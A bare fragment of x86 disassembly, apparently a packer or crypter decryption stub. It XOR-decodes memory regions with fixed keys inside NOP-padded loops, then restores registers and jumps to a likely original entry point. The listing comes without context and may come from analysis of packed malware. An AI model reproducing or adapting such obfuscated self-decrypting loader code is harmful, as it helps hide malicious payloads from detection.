div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x200d684c
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x42e0d2
nop
nop
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x67c966ca
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219